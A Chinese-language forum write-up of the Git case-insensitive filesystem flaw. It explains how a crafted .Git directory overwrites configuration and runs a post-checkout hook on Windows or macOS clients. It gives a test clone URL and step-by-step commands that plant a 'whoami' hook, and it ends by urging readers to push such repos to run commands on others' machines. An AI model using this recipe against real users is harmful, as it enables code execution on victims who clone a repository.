参考资料
http://github.com/blog/1938-git-client-vulnerability-announced
http://www.secpulse.com/archives/3420.html
漏洞成因
The vulnerability concerns Git and Git-compatible clients that access Git repositories in a case-insensitive or case-normalizing filesystem. An attacker can craft a malicious Git tree that will cause Git to overwrite its own .git/config file when cloning or checking out a repository, leading to arbitrary command execution in the client machine. Git clients running on OS X (HFS+) or any version of Microsoft Windows (NTFS, FAT) are exploitable through this vulnerability. Linux clients are not affected if they run in a case-sensitive filesystem.
以上是原文,如果你E文也不好,那就参考我的理解: windows和osx使用的文件系统(NTFS、FAT)不区分文件名的大小写,而Linux则区分。根据这个特性可以在Linux下创建一个大小写区别的.git文件夹,进而覆盖.git的配置文件,从而导致任意命令执行。
测试例子
打开http://gitcasefail.googlecode.com/svn/trunk/这个谷歌代码仓库,可以看到有一个.git和一个.Git目录,关键是.Git这个目录,在里面的hooks目录里面有个post-checkout文件,这个就是导致命令执行的文件。 然后我们直接通过以下命令测试,如果命令执行则说明漏洞存在:
[AppleScript] 纯文本查看 复制代码 git clone [url]http://gitcasefail.googlecode.com/svn/trunk/repo/[/url]
漏洞利用
我们进入Linux系统,然后初始化一个git目录,通过'ls -al'可以看到有.git目录,然后呢,直接创建.gIt文件夹并创建利用脚本:
[AppleScript] 纯文本查看 复制代码 mkdir .GiT
cd .GiT
mkdir hooks
cd hooks
touch post-checkout
echo whoami>post-checkout
然后发布代码,测试成功后即可发命令给对方进行调戏了~~
|